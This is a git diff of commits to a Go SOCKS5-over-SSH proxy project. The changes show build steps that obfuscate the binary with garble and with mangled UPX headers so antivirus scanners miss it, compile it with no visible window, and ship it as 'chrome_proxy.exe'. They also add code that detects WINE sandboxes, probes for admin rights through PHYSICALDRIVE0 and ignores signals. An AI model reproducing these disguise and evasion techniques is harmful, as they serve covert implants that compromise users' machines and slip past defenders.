Compare commits

..

No commits in common. "7239fddbd1698c8ac27014e03b0e902e1d34b209" and "35824618884b5b352ecd8c7b6e58a042a4936aeb" have entirely different histories.

8 changed files with 7 additions and 70 deletions

View File

@ -100,9 +100,9 @@ jobs:
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# NOTE: Some virus and malware scanners detect mangled UPX headers and mark it as suspisious
#- name: Obfuscate UPX packed executable - name: Obfuscate UPX packed executable
# run: "go run cmd/upx-obfuscator/main.go dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe" run: "go run cmd/upx-obfuscator/main.go dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe"
- name: Copy win64 release exe for dist - name: Copy win64 release exe for dist
run: "cp dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe dist/chrome_proxy.exe" run: "cp dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe dist/chrome_proxy.exe"

View File

@ -35,9 +35,7 @@ builds:
- id: "win-release" - id: "win-release"
env: env:
- CGO_ENABLED=1 - CGO_ENABLED=0
- CC=x86_64-w64-mingw32-gcc
- CXX=x86_64-w64-mingw32-g++
goos: goos:
- windows - windows
goarch: goarch:

View File

@ -1,6 +1,7 @@
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_unix.go SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
GARBLE_BIN = $(shell go env GOPATH)/bin/garble GARBLE_BIN = $(shell go env GOPATH)/bin/garble
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
RELEASE_VERBOSE_MODE_KEY ?= ""
all: socks5-ssh-proxy all: socks5-ssh-proxy
@ -20,8 +21,7 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
upx $@ upx $@
win: socks5-ssh-proxy.exe win: socks5-ssh-proxy.exe
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES) socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
upx $@ upx $@
go run cmd/upx-obfuscator/main.go $@ go run cmd/upx-obfuscator/main.go $@
goreleaser: resources $(GARBLE_BIN) goreleaser: resources $(GARBLE_BIN)

View File

@ -142,6 +142,5 @@ func main() {
func mainLoop() { func mainLoop() {
for { for {
// TODO handle CTRL+C in debug and release + VMK modes // TODO handle CTRL+C in debug and release + VMK modes
time.Sleep(time.Minute)
} }
} }

View File

@ -1,4 +0,0 @@
#!/bin/sh
export VMK="ShowMeTheMoney"
wine64 wineconsole &
wine64 /Users/jerry/src/github.com/xor-gate/go-socks5-ssh-proxy/socks5-ssh-proxy.exe

View File

@ -156,10 +156,6 @@ func systemIgnoreAllSignals() {
} }
func systemOSDetect() { func systemOSDetect() {
wineVersion := systemGetWINEVersion()
log.Println("WINE version", wineVersion)
log.Println("IsUserRoot", systemIsUserRoot())
wineOSFiles := systemGetWellKnownWINEOSFiles() wineOSFiles := systemGetWellKnownWINEOSFiles()
if len(wineOSFiles) != 0 { if len(wineOSFiles) != 0 {
log.Println("WINE detected") log.Println("WINE detected")

View File

@ -1,14 +0,0 @@
//go:build !windows
// +build !windows
//
package main
func systemGetWINEVersion() string {
return ""
}
func systemIsUserRoot() bool {
return false
}

View File

@ -1,38 +0,0 @@
//go:build windows
// +build windows
package main
import (
"C"
"golang.org/x/sys/windows"
"os"
"unsafe"
)
func systemGetWINEVersion() string {
ntdll := windows.NewLazyDLL("ntdll.dll")
wineGetVersionFunc := ntdll.NewProc("wine_get_version")
err := wineGetVersionFunc.Find()
if err != nil {
return ""
}
ret, _, _ := wineGetVersionFunc.Call()
retCStr := (*C.char)(unsafe.Pointer(ret))
wineVersion := C.GoString(retCStr)
return wineVersion
}
func systemIsUserRoot() bool {
root := true
_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
if err != nil {
root = false
}
return root
}